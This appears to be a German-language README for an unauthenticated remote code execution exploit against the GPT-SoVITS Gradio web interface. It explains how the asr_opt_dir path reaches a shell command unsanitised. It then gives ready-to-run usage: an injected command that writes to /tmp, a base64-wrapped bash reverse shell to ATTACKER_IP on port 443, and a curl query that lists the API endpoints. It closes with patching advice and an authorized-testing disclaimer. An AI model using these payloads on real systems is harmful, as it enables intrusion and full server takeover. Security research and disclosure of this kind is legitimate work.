
Nicht authentifizierter OS-Befehlseinschleusungs-Exploit für die GPT-SoVITS Gradio-Weboberfläche. Liefert RCE über unbereinigte Pfadparameter in Audioverarbeitungs-Helpern, unterstützt Reverse Shells und Dateischreibvorgänge für autorisierte Sicherheitstests.
Nicht authentifizierte Remote-Codeausführung in der Gradio Web-Oberfläche (webui.py) von GPT-SoVITS.
Die Audio-Processing-Helfer (open_asr, open_slice, open_denoise, open_uvr5) integrieren unbereinigte Gradio-Textbox-Pfad-Werte direkt in Shell-Befehle, die mit Popen(..., shell=True) ausgeführt werden. Pfade werden nur durch clean_path() geleitet, das lediglich führende/nachfolgende Anführungszeichen und Leerzeichen entfernt – Shell-Metazeichen in der Mitte bleiben erhalten. Das Feld asr_opt_dir wird nicht einmal auf Existenz geprüft, sodass eine Befehlsersetzung $(...) darin innerhalb von -o "$(...)"" landet und als Benutzer des Web-UI-Prozesses ausgeführt wird. Die Web-Oberfläche wird ohne Authentifizierung ausgeliefert, sodass eine einzige Anfrage ausreicht.
<= 20250606v2pro9874 (Gradio Web-UI, nicht authentifiziert)pip install gradio_client
# write proof to a file on the target
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
Der injizierte Befehl wird auf dem Server ausgeführt; seine Ausgabe wird nicht zurückgegeben, verwenden Sie daher eine Reverse-Shell (oder schreiben Sie in einen lesbaren Pfad), um das Ergebnis zu beobachten. asr_opt_dir ist in $(...) eingeschlossen, sodass es unabhängig davon, ob ein ASR-Modell installiert ist, über die Befehlsersetzung ausgeführt wird.
open_asr erstellt und führt aus:
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
Die Gradio-UI gibt ihre API-Oberfläche unter /config frei:
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
Aktualisieren Sie auf eine Version nach GPT-SoVITS 20250606v2pro, setzen Sie die Weboberfläche niemals ungeschützten Netzwerken aus und führen Sie sie nicht als privilegierter Benutzer aus.
Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Verwenden Sie es nur gegen Systeme, die Sie besitzen oder für die Sie ausdrückliche Genehmigung zum Testen haben.